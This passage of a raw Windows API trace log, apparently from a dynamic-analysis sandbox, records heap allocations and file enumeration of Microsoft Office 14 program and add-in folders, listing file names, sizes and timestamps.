Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f098 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066788 [0069.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.692] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.692] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f0b8 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066810 [0069.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.693] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f0d8 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066898 [0069.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.693] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="")) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.694] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.694] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.694] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.694] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f0f8 [0069.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066920 [0069.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.695] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f118 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10669a8 [0069.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.695] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f138 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066a30 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.696] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 0 [0069.697] GetLastError () returned 0x12 [0069.697] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.697] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 1 [0069.697] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 0 [0069.697] GetLastError () returned 0x12 [0069.697] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.697] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.698] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.698] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.698] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0069.698] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: 